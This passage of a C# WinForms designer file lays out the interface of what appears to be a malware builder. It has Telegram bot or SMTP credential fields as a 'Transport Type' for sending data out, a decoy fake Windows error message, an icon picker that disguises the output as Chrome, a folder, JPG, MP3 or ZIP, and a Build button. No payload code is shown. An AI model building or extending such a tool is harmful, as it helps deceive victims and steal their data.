117 | this.BtnMinimize.FlatAppearance.MouseDownBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(10)))), ((int)(((byte)(10)))), ((int)(((byte)(10)))));
118 | this.BtnMinimize.FlatAppearance.MouseOverBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(15)))), ((int)(((byte)(15)))), ((int)(((byte)(15)))));
119 | this.BtnMinimize.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
120 | this.BtnMinimize.Font = new System.Drawing.Font("Consolas", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
121 | this.BtnMinimize.ForeColor = System.Drawing.Color.White;
122 | this.BtnMinimize.Location = new System.Drawing.Point(637, 0);
123 | this.BtnMinimize.Name = "BtnMinimize";
124 | this.BtnMinimize.Size = new System.Drawing.Size(33, 22);
125 | this.BtnMinimize.TabIndex = 2;
126 | this.BtnMinimize.Text = "_";
127 | this.BtnMinimize.UseVisualStyleBackColor = true;
128 | this.BtnMinimize.Click += new System.EventHandler(this.BtnMinimize_Click);
129 | //
130 | // BtnMaximize
131 | //
132 | this.BtnMaximize.Anchor = System.Windows.Forms.AnchorStyles.Right;
133 | this.BtnMaximize.FlatAppearance.BorderSize = 0;
134 | this.BtnMaximize.FlatAppearance.MouseDownBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(10)))), ((int)(((byte)(10)))), ((int)(((byte)(10)))));
135 | this.BtnMaximize.FlatAppearance.MouseOverBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(15)))), ((int)(((byte)(15)))), ((int)(((byte)(15)))));
136 | this.BtnMaximize.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
137 | this.BtnMaximize.ForeColor = System.Drawing.Color.White;
138 | this.BtnMaximize.Location = new System.Drawing.Point(670, 0);
139 | this.BtnMaximize.Name = "BtnMaximize";
140 | this.BtnMaximize.Size = new System.Drawing.Size(33, 22);
141 | this.BtnMaximize.TabIndex = 1;
142 | this.BtnMaximize.Text = "[ ]";
143 | this.BtnMaximize.UseVisualStyleBackColor = true;
144 | this.BtnMaximize.Click += new System.EventHandler(this.BtnMaximize_Click);
145 | //
146 | // btnClose
147 | //
148 | this.btnClose.Anchor = System.Windows.Forms.AnchorStyles.Right;
149 | this.btnClose.BackColor = System.Drawing.Color.Black;
150 | this.btnClose.FlatAppearance.BorderSize = 0;
151 | this.btnClose.FlatAppearance.MouseDownBackColor = System.Drawing.Color.OrangeRed;
152 | this.btnClose.FlatAppearance.MouseOverBackColor = System.Drawing.Color.OrangeRed;
153 | this.btnClose.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
154 | this.btnClose.Font = new System.Drawing.Font("Comic Sans MS", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
155 | this.btnClose.ForeColor = System.Drawing.Color.White;
156 | this.btnClose.Location = new System.Drawing.Point(703, -3);
157 | this.btnClose.Name = "btnClose";
158 | this.btnClose.Size = new System.Drawing.Size(33, 37);
159 | this.btnClose.TabIndex = 0;
160 | this.btnClose.Text = "X";
161 | this.btnClose.TextAlign = System.Drawing.ContentAlignment.TopCenter;
162 | this.btnClose.UseVisualStyleBackColor = false;
163 | this.btnClose.Click += new System.EventHandler(this.btnClose_Click);
164 | //
165 | // RD_SMTP
166 | //
167 | this.RD_SMTP.AutoSize = true;
168 | this.RD_SMTP.Cursor = System.Windows.Forms.Cursors.Hand;
169 | this.RD_SMTP.ForeColor = System.Drawing.Color.Black;
170 | this.RD_SMTP.Location = new System.Drawing.Point(6, 44);
171 | this.RD_SMTP.Name = "RD_SMTP";
172 | this.RD_SMTP.Size = new System.Drawing.Size(53, 19);
173 | this.RD_SMTP.TabIndex = 0;
174 | this.RD_SMTP.Text = "SMTP";
175 | this.RD_SMTP.UseVisualStyleBackColor = true;
176 | //
177 | // RD_Telegram
178 | //
179 | this.RD_Telegram.AutoSize = true;
180 | this.RD_Telegram.Checked = true;
181 | this.RD_Telegram.Cursor = System.Windows.Forms.Cursors.Hand;
182 | this.RD_Telegram.ForeColor = System.Drawing.Color.Black;
183 | this.RD_Telegram.Location = new System.Drawing.Point(6, 21);
184 | this.RD_Telegram.Name = "RD_Telegram";
185 | this.RD_Telegram.Size = new System.Drawing.Size(109, 19);
186 | this.RD_Telegram.TabIndex = 1;
187 | this.RD_Telegram.TabStop = true;
188 | this.RD_Telegram.Text = "Telegram API";
189 | this.RD_Telegram.UseVisualStyleBackColor = true;
190 | //
191 | // GroupSMTP
192 | //
193 | this.GroupSMTP.Anchor = System.Windows.Forms.AnchorStyles.None;
194 | this.GroupSMTP.Controls.Add(this.SMTP_Combo);
195 | this.GroupSMTP.Controls.Add(this.label6);
196 | this.GroupSMTP.Controls.Add(this.SMTP_IN);
197 | this.GroupSMTP.Controls.Add(this.label5);
198 | this.GroupSMTP.Controls.Add(this.SMTP_Pass);
199 | this.GroupSMTP.Controls.Add(this.label3);
200 | this.GroupSMTP.Controls.Add(this.label4);
201 | this.GroupSMTP.Controls.Add(this.SMTP_User);
202 | this.GroupSMTP.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
203 | this.GroupSMTP.ForeColor = System.Drawing.Color.Black;
204 | this.GroupSMTP.Location = new System.Drawing.Point(12, 176);
205 | this.GroupSMTP.Name = "GroupSMTP";
206 | this.GroupSMTP.Size = new System.Drawing.Size(213, 207);
207 | this.GroupSMTP.TabIndex = 15;
208 | this.GroupSMTP.TabStop = false;
209 | this.GroupSMTP.Text = " SMTP ";
210 | //
211 | // SMTP_Combo
212 | //
213 | this.SMTP_Combo.FormattingEnabled = true;
214 | this.SMTP_Combo.Items.AddRange(new object[] {
215 | "Gmail",
216 | "Yahoo",
217 | "Outlook",
218 | "Yandex"});
219 | this.SMTP_Combo.Location = new System.Drawing.Point(9, 41);
220 | this.SMTP_Combo.Name = "SMTP_Combo";
221 | this.SMTP_Combo.Size = new System.Drawing.Size(198, 23);
222 | this.SMTP_Combo.TabIndex = 11;
223 | //
224 | // label6
225 | //
226 | this.label6.AutoSize = true;
227 | this.label6.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
228 | this.label6.ForeColor = System.Drawing.Color.Black;
229 | this.label6.Location = new System.Drawing.Point(6, 153);
230 | this.label6.Name = "label6";
231 | this.label6.Size = new System.Drawing.Size(119, 15);
232 | this.label6.TabIndex = 7;
233 | this.label6.Text = "Receiver\'s Email";
234 | //
235 | // SMTP_IN
236 | //
237 | this.SMTP_IN.Location = new System.Drawing.Point(9, 169);
238 | this.SMTP_IN.Name = "SMTP_IN";
239 | this.SMTP_IN.Size = new System.Drawing.Size(195, 23);
240 | this.SMTP_IN.TabIndex = 8;
241 | //
242 | // label5
243 | //
244 | this.label5.AutoSize = true;
245 | this.label5.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
246 | this.label5.ForeColor = System.Drawing.Color.Black;
247 | this.label5.Location = new System.Drawing.Point(6, 111);
248 | this.label5.Name = "label5";
249 | this.label5.Size = new System.Drawing.Size(98, 15);
250 | this.label5.TabIndex = 5;
251 | this.label5.Text = "Your Password";
252 | //
253 | // SMTP_Pass
254 | //
255 | this.SMTP_Pass.Location = new System.Drawing.Point(9, 127);
256 | this.SMTP_Pass.Name = "SMTP_Pass";
257 | this.SMTP_Pass.Size = new System.Drawing.Size(195, 23);
258 | this.SMTP_Pass.TabIndex = 6;
259 | //
260 | // label3
261 | //
262 | this.label3.AutoSize = true;
263 | this.label3.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
264 | this.label3.ForeColor = System.Drawing.Color.Black;
265 | this.label3.Location = new System.Drawing.Point(6, 23);
266 | this.label3.Name = "label3";
267 | this.label3.Size = new System.Drawing.Size(49, 15);
268 | this.label3.TabIndex = 2;
269 | this.label3.Text = "Server";
270 | //
271 | // label4
272 | //
273 | this.label4.AutoSize = true;
274 | this.label4.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
275 | this.label4.ForeColor = System.Drawing.Color.Black;
276 | this.label4.Location = new System.Drawing.Point(6, 69);
277 | this.label4.Name = "label4";
278 | this.label4.Size = new System.Drawing.Size(77, 15);
279 | this.label4.TabIndex = 3;
280 | this.label4.Text = "Your Email";
281 | //
282 | // SMTP_User
283 | //
284 | this.SMTP_User.Location = new System.Drawing.Point(9, 85);
285 | this.SMTP_User.Name = "SMTP_User";
286 | this.SMTP_User.Size = new System.Drawing.Size(195, 23);
287 | this.SMTP_User.TabIndex = 4;
288 | //
289 | // BtnTest
290 | //
291 | this.BtnTest.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(33)))), ((int)(((byte)(36)))));
292 | this.BtnTest.Cursor = System.Windows.Forms.Cursors.Hand;
293 | this.BtnTest.FlatAppearance.BorderColor = System.Drawing.Color.Black;
294 | this.BtnTest.FlatAppearance.MouseDownBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(33)))), ((int)(((byte)(36)))));
295 | this.BtnTest.FlatAppearance.MouseOverBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(53)))), ((int)(((byte)(56)))));
296 | this.BtnTest.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
297 | this.BtnTest.ForeColor = System.Drawing.Color.White;
298 | this.BtnTest.Location = new System.Drawing.Point(54, 223);
299 | this.BtnTest.Name = "BtnTest";
300 | this.BtnTest.Size = new System.Drawing.Size(108, 29);
301 | this.BtnTest.TabIndex = 0;
302 | this.BtnTest.Text = "Test";
303 | this.BtnTest.UseVisualStyleBackColor = false;
304 | this.BtnTest.Click += new System.EventHandler(this.BTN_Test_Click);
305 | //
306 | // label8
307 | //
308 | this.label8.AutoSize = true;
309 | this.label8.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
310 | this.label8.ForeColor = System.Drawing.Color.Black;
311 | this.label8.Location = new System.Drawing.Point(13, 162);
312 | this.label8.Name = "label8";
313 | this.label8.Size = new System.Drawing.Size(35, 15);
314 | this.label8.TabIndex = 7;
315 | this.label8.Text = "Body";
316 | //
317 | // FakeM_Body
318 | //
319 | this.FakeM_Body.Location = new System.Drawing.Point(16, 180);
320 | this.FakeM_Body.Name = "FakeM_Body";
321 | this.FakeM_Body.Size = new System.Drawing.Size(184, 23);
322 | this.FakeM_Body.TabIndex = 8;
323 | this.FakeM_Body.Text = "Windows cannot read required files. The file may be corrupt or missing. Make sure" +
324 | " all files required for installation are available, and restart the program Erro" +
325 | "r code: 0x80070570";
326 | //
327 | // label7
328 | //
329 | this.label7.AutoSize = true;
330 | this.label7.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
331 | this.label7.ForeColor = System.Drawing.Color.Black;
332 | this.label7.Location = new System.Drawing.Point(13, 118);
333 | this.label7.Name = "label7";
334 | this.label7.Size = new System.Drawing.Size(42, 15);
335 | this.label7.TabIndex = 5;
336 | this.label7.Text = "Title";
337 | //
338 | // groupBox6
339 | //
340 | this.groupBox6.Anchor = System.Windows.Forms.AnchorStyles.None;
341 | this.groupBox6.Controls.Add(this.RD_Disable);
342 | this.groupBox6.Controls.Add(this.RD_Error);
343 | this.groupBox6.Controls.Add(this.RD_Info);
344 | this.groupBox6.Controls.Add(this.RD_Question);
345 | this.groupBox6.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
346 | this.groupBox6.ForeColor = System.Drawing.Color.Black;
347 | this.groupBox6.Location = new System.Drawing.Point(16, 31);
348 | this.groupBox6.Name = "groupBox6";
349 | this.groupBox6.Size = new System.Drawing.Size(184, 78);
350 | this.groupBox6.TabIndex = 6;
351 | this.groupBox6.TabStop = false;
352 | this.groupBox6.Text = " Icon ";
353 | //
354 | // RD_Disable
355 | //
356 | this.RD_Disable.AutoSize = true;
357 | this.RD_Disable.Checked = true;
358 | this.RD_Disable.Cursor = System.Windows.Forms.Cursors.Hand;
359 | this.RD_Disable.ForeColor = System.Drawing.Color.Black;
360 | this.RD_Disable.Location = new System.Drawing.Point(16, 22);
361 | this.RD_Disable.Name = "RD_Disable";
362 | this.RD_Disable.Size = new System.Drawing.Size(74, 19);
363 | this.RD_Disable.TabIndex = 2;
364 | this.RD_Disable.TabStop = true;
365 | this.RD_Disable.Text = "Disable";
366 | this.RD_Disable.UseVisualStyleBackColor = true;
367 | //
368 | // RD_Error
369 | //
370 | this.RD_Error.AutoSize = true;
371 | this.RD_Error.Cursor = System.Windows.Forms.Cursors.Hand;
372 | this.RD_Error.ForeColor = System.Drawing.Color.Black;
373 | this.RD_Error.Location = new System.Drawing.Point(98, 48);
374 | this.RD_Error.Name = "RD_Error";
375 | this.RD_Error.Size = new System.Drawing.Size(60, 19);
376 | this.RD_Error.TabIndex = 5;
377 | this.RD_Error.Text = "Error";
378 | this.RD_Error.UseVisualStyleBackColor = true;
379 | //
380 | // RD_Info
381 | //
382 | this.RD_Info.AutoSize = true;
383 | this.RD_Info.Cursor = System.Windows.Forms.Cursors.Hand;
384 | this.RD_Info.ForeColor = System.Drawing.Color.Black;
385 | this.RD_Info.Location = new System.Drawing.Point(16, 48);
386 | this.RD_Info.Name = "RD_Info";
387 | this.RD_Info.Size = new System.Drawing.Size(53, 19);
388 | this.RD_Info.TabIndex = 3;
389 | this.RD_Info.Text = "Info";
390 | this.RD_Info.UseVisualStyleBackColor = true;
391 | //
392 | // RD_Question
393 | //
394 | this.RD_Question.AutoSize = true;
395 | this.RD_Question.Cursor = System.Windows.Forms.Cursors.Hand;
396 | this.RD_Question.ForeColor = System.Drawing.Color.Black;
397 | this.RD_Question.Location = new System.Drawing.Point(97, 22);
398 | this.RD_Question.Name = "RD_Question";
399 | this.RD_Question.Size = new System.Drawing.Size(81, 19);
400 | this.RD_Question.TabIndex = 4;
401 | this.RD_Question.Text = "Question";
402 | this.RD_Question.UseVisualStyleBackColor = true;
403 | //
404 | // FakeM_Title
405 | //
406 | this.FakeM_Title.Location = new System.Drawing.Point(16, 136);
407 | this.FakeM_Title.Name = "FakeM_Title";
408 | this.FakeM_Title.Size = new System.Drawing.Size(184, 23);
409 | this.FakeM_Title.TabIndex = 6;
410 | this.FakeM_Title.Text = "Error";
411 | //
412 | // GroupTGApi
413 | //
414 | this.GroupTGApi.Anchor = System.Windows.Forms.AnchorStyles.None;
415 | this.GroupTGApi.Controls.Add(this.Telegram_Token);
416 | this.GroupTGApi.Controls.Add(this.label1);
417 | this.GroupTGApi.Controls.Add(this.label2);
418 | this.GroupTGApi.Controls.Add(this.Telegram_ID);
419 | this.GroupTGApi.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
420 | this.GroupTGApi.ForeColor = System.Drawing.Color.Black;
421 | this.GroupTGApi.Location = new System.Drawing.Point(12, 25);
422 | this.GroupTGApi.Name = "GroupTGApi";
423 | this.GroupTGApi.Size = new System.Drawing.Size(213, 133);
424 | this.GroupTGApi.TabIndex = 14;
425 | this.GroupTGApi.TabStop = false;
426 | this.GroupTGApi.Text = " Telegram API ";
427 | //
428 | // Telegram_Token
429 | //
430 | this.Telegram_Token.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
431 | this.Telegram_Token.Location = new System.Drawing.Point(15, 38);
432 | this.Telegram_Token.Name = "Telegram_Token";
433 | this.Telegram_Token.Size = new System.Drawing.Size(184, 23);
434 | this.Telegram_Token.TabIndex = 2;
435 | //
436 | // label1
437 | //
438 | this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
439 | this.label1.AutoSize = true;
440 | this.label1.ForeColor = System.Drawing.Color.Black;
441 | this.label1.Location = new System.Drawing.Point(12, 20);
442 | this.label1.Name = "label1";
443 | this.label1.Size = new System.Drawing.Size(63, 15);
444 | this.label1.TabIndex = 2;
445 | this.label1.Text = "BotToken";
446 | //
447 | // label2
448 | //
449 | this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
450 | this.label2.AutoSize = true;
451 | this.label2.ForeColor = System.Drawing.Color.Black;
452 | this.label2.Location = new System.Drawing.Point(13, 70);
453 | this.label2.Name = "label2";
454 | this.label2.Size = new System.Drawing.Size(49, 15);
455 | this.label2.TabIndex = 3;
456 | this.label2.Text = "ChatID";
457 | //
458 | // Telegram_ID
459 | //
460 | this.Telegram_ID.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
461 | this.Telegram_ID.Location = new System.Drawing.Point(15, 88);
462 | this.Telegram_ID.Name = "Telegram_ID";
463 | this.Telegram_ID.Size = new System.Drawing.Size(184, 23);
464 | this.Telegram_ID.TabIndex = 4;
465 | //
466 | // BtnBrowse
467 | //
468 | this.BtnBrowse.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(33)))), ((int)(((byte)(36)))));
469 | this.BtnBrowse.Cursor = System.Windows.Forms.Cursors.Hand;
470 | this.BtnBrowse.FlatAppearance.BorderColor = System.Drawing.Color.Black;
471 | this.BtnBrowse.FlatAppearance.MouseDownBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(33)))), ((int)(((byte)(36)))));
472 | this.BtnBrowse.FlatAppearance.MouseOverBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(53)))), ((int)(((byte)(56)))));
473 | this.BtnBrowse.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
474 | this.BtnBrowse.Font = new System.Drawing.Font("Consolas", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
475 | this.BtnBrowse.ForeColor = System.Drawing.Color.White;
476 | this.BtnBrowse.Location = new System.Drawing.Point(6, 162);
477 | this.BtnBrowse.Name = "BtnBrowse";
478 | this.BtnBrowse.Size = new System.Drawing.Size(191, 23);
479 | this.BtnBrowse.TabIndex = 19;
480 | this.BtnBrowse.Text = "Browse Icon";
481 | this.BtnBrowse.UseVisualStyleBackColor = false;
482 | this.BtnBrowse.Visible = false;
483 | this.BtnBrowse.Click += new System.EventHandler(this.BtnBrowse_Click);
484 | //
485 | // BtnAbout
486 | //
487 | this.BtnAbout.Anchor = System.Windows.Forms.AnchorStyles.None;
488 | this.BtnAbout.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(33)))), ((int)(((byte)(36)))));
489 | this.BtnAbout.Cursor = System.Windows.Forms.Cursors.Hand;
490 | this.BtnAbout.FlatAppearance.BorderColor = System.Drawing.Color.Black;
491 | this.BtnAbout.FlatAppearance.MouseDownBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(33)))), ((int)(((byte)(36)))));
492 | this.BtnAbout.FlatAppearance.MouseOverBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(53)))), ((int)(((byte)(56)))));
493 | this.BtnAbout.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
494 | this.BtnAbout.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold);
495 | this.BtnAbout.ForeColor = System.Drawing.Color.White;
496 | this.BtnAbout.Location = new System.Drawing.Point(6, 320);
497 | this.BtnAbout.Name = "BtnAbout";
498 | this.BtnAbout.Size = new System.Drawing.Size(249, 24);
499 | this.BtnAbout.TabIndex = 18;
500 | this.BtnAbout.Text = "About";
501 | this.BtnAbout.UseVisualStyleBackColor = false;
502 | this.BtnAbout.Click += new System.EventHandler(this.BTN_About_Click);
503 | //
504 | // BtnBuild
505 | //
506 | this.BtnBuild.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
507 | this.BtnBuild.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(33)))), ((int)(((byte)(36)))));
508 | this.BtnBuild.Cursor = System.Windows.Forms.Cursors.Hand;
509 | this.BtnBuild.FlatAppearance.BorderColor = System.Drawing.Color.Black;
510 | this.BtnBuild.FlatAppearance.MouseDownBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(30)))), ((int)(((byte)(33)))), ((int)(((byte)(36)))));
511 | this.BtnBuild.FlatAppearance.MouseOverBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(53)))), ((int)(((byte)(56)))));
512 | this.BtnBuild.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
513 | this.BtnBuild.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold);
514 | this.BtnBuild.ForeColor = System.Drawing.Color.White;
515 | this.BtnBuild.Location = new System.Drawing.Point(6, 278);
516 | this.BtnBuild.Name = "BtnBuild";
517 | this.BtnBuild.Size = new System.Drawing.Size(248, 32);
518 | this.BtnBuild.TabIndex = 17;
519 | this.BtnBuild.Text = "Build";
520 | this.BtnBuild.UseVisualStyleBackColor = false;
521 | this.BtnBuild.Click += new System.EventHandler(this.BTN_Build_Click);
522 | //
523 | // GroupMethod
524 | //
525 | this.GroupMethod.Anchor = System.Windows.Forms.AnchorStyles.None;
526 | this.GroupMethod.Controls.Add(this.RD_SMTP);
527 | this.GroupMethod.Controls.Add(this.RD_Telegram);
528 | this.GroupMethod.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
529 | this.GroupMethod.ForeColor = System.Drawing.Color.Black;
530 | this.GroupMethod.Location = new System.Drawing.Point(232, 25);
531 | this.GroupMethod.Name = "GroupMethod";
532 | this.GroupMethod.Size = new System.Drawing.Size(231, 71);
533 | this.GroupMethod.TabIndex = 16;
534 | this.GroupMethod.TabStop = false;
535 | this.GroupMethod.Text = " Transport Type";
536 | //
537 | // GroupFMessage
538 | //
539 | this.GroupFMessage.Anchor = System.Windows.Forms.AnchorStyles.None;
540 | this.GroupFMessage.Controls.Add(this.BtnTest);
541 | this.GroupFMessage.Controls.Add(this.label8);
542 | this.GroupFMessage.Controls.Add(this.FakeM_Body);
543 | this.GroupFMessage.Controls.Add(this.label7);
544 | this.GroupFMessage.Controls.Add(this.groupBox6);
545 | this.GroupFMessage.Controls.Add(this.FakeM_Title);
546 | this.GroupFMessage.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
547 | this.GroupFMessage.ForeColor = System.Drawing.Color.Black;
548 | this.GroupFMessage.Location = new System.Drawing.Point(232, 102);
549 | this.GroupFMessage.Name = "GroupFMessage";
550 | this.GroupFMessage.Size = new System.Drawing.Size(231, 281);
551 | this.GroupFMessage.TabIndex = 13;
552 | this.GroupFMessage.TabStop = false;
553 | this.GroupFMessage.Text = " Fake Message ";
554 | //
555 | // GroupBuild
556 | //
557 | this.GroupBuild.Anchor = System.Windows.Forms.AnchorStyles.None;
558 | this.GroupBuild.Controls.Add(this.BtnBuild);
559 | this.GroupBuild.Controls.Add(this.GroupIcon);
560 | this.GroupBuild.Controls.Add(this.BtnAbout);
561 | this.GroupBuild.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold);
562 | this.GroupBuild.ForeColor = System.Drawing.Color.Black;
563 | this.GroupBuild.Location = new System.Drawing.Point(469, 25);
564 | this.GroupBuild.Name = "GroupBuild";
565 | this.GroupBuild.Size = new System.Drawing.Size(260, 358);
566 | this.GroupBuild.TabIndex = 22;
567 | this.GroupBuild.TabStop = false;
568 | this.GroupBuild.Text = "Build";
569 | //
570 | // GroupIcon
571 | //
572 | this.GroupIcon.Anchor = System.Windows.Forms.AnchorStyles.None;
573 | this.GroupIcon.Controls.Add(this.ChkIco00);
574 | this.GroupIcon.Controls.Add(this.ChkIco9);
575 | this.GroupIcon.Controls.Add(this.ChkIco8);
576 | this.GroupIcon.Controls.Add(this.ChkIco7);
577 | this.GroupIcon.Controls.Add(this.ChkIco6);
578 | this.GroupIcon.Controls.Add(this.ChkIco5);
579 | this.GroupIcon.Controls.Add(this.ChkIco4);
580 | this.GroupIcon.Controls.Add(this.ChkIco3);
581 | this.GroupIcon.Controls.Add(this.ChkIco2);
582 | this.GroupIcon.Controls.Add(this.ChkIco1);
583 | this.GroupIcon.Controls.Add(this.BtnBrowse);
584 | this.GroupIcon.Controls.Add(this.IconPriv);
585 | this.GroupIcon.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Bold);
586 | this.GroupIcon.ForeColor = System.Drawing.Color.Black;
587 | this.GroupIcon.Location = new System.Drawing.Point(10, 15);
588 | this.GroupIcon.Name = "GroupIcon";
589 | this.GroupIcon.Size = new System.Drawing.Size(241, 200);
590 | this.GroupIcon.TabIndex = 23;
591 | this.GroupIcon.TabStop = false;
592 | this.GroupIcon.Text = " Icon";
593 | //
594 | // ChkIco9
595 | //
596 | this.ChkIco9.AutoSize = true;
597 | this.ChkIco9.Cursor = System.Windows.Forms.Cursors.Hand;
598 | this.ChkIco9.Location = new System.Drawing.Point(6, 134);
599 | this.ChkIco9.Name = "ChkIco9";
600 | this.ChkIco9.Size = new System.Drawing.Size(67, 19);
601 | this.ChkIco9.TabIndex = 23;
602 | this.ChkIco9.Text = "Custom";
603 | this.ChkIco9.UseVisualStyleBackColor = true;
604 | this.ChkIco9.CheckedChanged += new System.EventHandler(this.ChkIco9_CheckedChanged);
605 | //
606 | // ChkIco8
607 | //
608 | this.ChkIco8.AutoSize = true;
609 | this.ChkIco8.Cursor = System.Windows.Forms.Cursors.Hand;
610 | this.ChkIco8.Location = new System.Drawing.Point(85, 108);
611 | this.ChkIco8.Name = "ChkIco8";
612 | this.ChkIco8.Size = new System.Drawing.Size(46, 19);
613 | this.ChkIco8.TabIndex = 23;
614 | this.ChkIco8.Text = "ZIP";
615 | this.ChkIco8.UseVisualStyleBackColor = true;
616 | //
617 | // ChkIco7
618 | //
619 | this.ChkIco7.AutoSize = true;
620 | this.ChkIco7.Cursor = System.Windows.Forms.Cursors.Hand;
621 | this.ChkIco7.Location = new System.Drawing.Point(6, 106);
622 | this.ChkIco7.Name = "ChkIco7";
623 | this.ChkIco7.Size = new System.Drawing.Size(46, 19);
624 | this.ChkIco7.TabIndex = 23;
625 | this.ChkIco7.Text = "JPG";
626 | this.ChkIco7.UseVisualStyleBackColor = true;
627 | //
628 | // ChkIco6
629 | //
630 | this.ChkIco6.AutoSize = true;
631 | this.ChkIco6.Cursor = System.Windows.Forms.Cursors.Hand;
632 | this.ChkIco6.Location = new System.Drawing.Point(85, 79);
633 | this.ChkIco6.Name = "ChkIco6";
634 | this.ChkIco6.Size = new System.Drawing.Size(46, 19);
635 | this.ChkIco6.TabIndex = 23;
636 | this.ChkIco6.Text = "MP3";
637 | this.ChkIco6.UseVisualStyleBackColor = true;
638 | //
639 | // ChkIco5
640 | //
641 | this.ChkIco5.AutoSize = true;
642 | this.ChkIco5.Cursor = System.Windows.Forms.Cursors.Hand;
643 | this.ChkIco5.Location = new System.Drawing.Point(6, 78);
644 | this.ChkIco5.Name = "ChkIco5";
645 | this.ChkIco5.Size = new System.Drawing.Size(46, 19);
646 | this.ChkIco5.TabIndex = 23;
647 | this.ChkIco5.Text = "I.E";
648 | this.ChkIco5.UseVisualStyleBackColor = true;
649 | //
650 | // ChkIco4
651 | //
652 | this.ChkIco4.AutoSize = true;
653 | this.ChkIco4.Cursor = System.Windows.Forms.Cursors.Hand;
654 | this.ChkIco4.Location = new System.Drawing.Point(85, 50);
655 | this.ChkIco4.Name = "ChkIco4";
656 | this.ChkIco4.Size = new System.Drawing.Size(67, 19);
657 | this.ChkIco4.TabIndex = 23;
658 | this.ChkIco4.Text = "Python";
659 | this.ChkIco4.UseVisualStyleBackColor = true;
660 | //
661 | // ChkIco3
662 | //
663 | this.ChkIco3.AutoSize = true;
664 | this.ChkIco3.Cursor = System.Windows.Forms.Cursors.Hand;
665 | this.ChkIco3.Location = new System.Drawing.Point(6, 50);
666 | this.ChkIco3.Name = "ChkIco3";
667 | this.ChkIco3.Size = new System.Drawing.Size(67, 19);
668 | this.ChkIco3.TabIndex = 23;
669 | this.ChkIco3.Text = "Folder";
670 | this.ChkIco3.UseVisualStyleBackColor = true;
671 | this.ChkIco3.CheckedChanged += new System.EventHandler(this.ChkIco3_CheckedChanged);
672 | //
673 | // ChkIco2
674 | //
675 | this.ChkIco2.AutoSize = true;
676 | this.ChkIco2.Cursor = System.Windows.Forms.Cursors.Hand;
677 | this.ChkIco2.Location = new System.Drawing.Point(85, 22);
678 | this.ChkIco2.Name = "ChkIco2";
679 | this.ChkIco2.Size = new System.Drawing.Size(67, 19);
680 | this.ChkIco2.TabIndex = 23;
681 | this.ChkIco2.Text = "Chrome";
682 | this.ChkIco2.UseVisualStyleBackColor = true;
683 | //
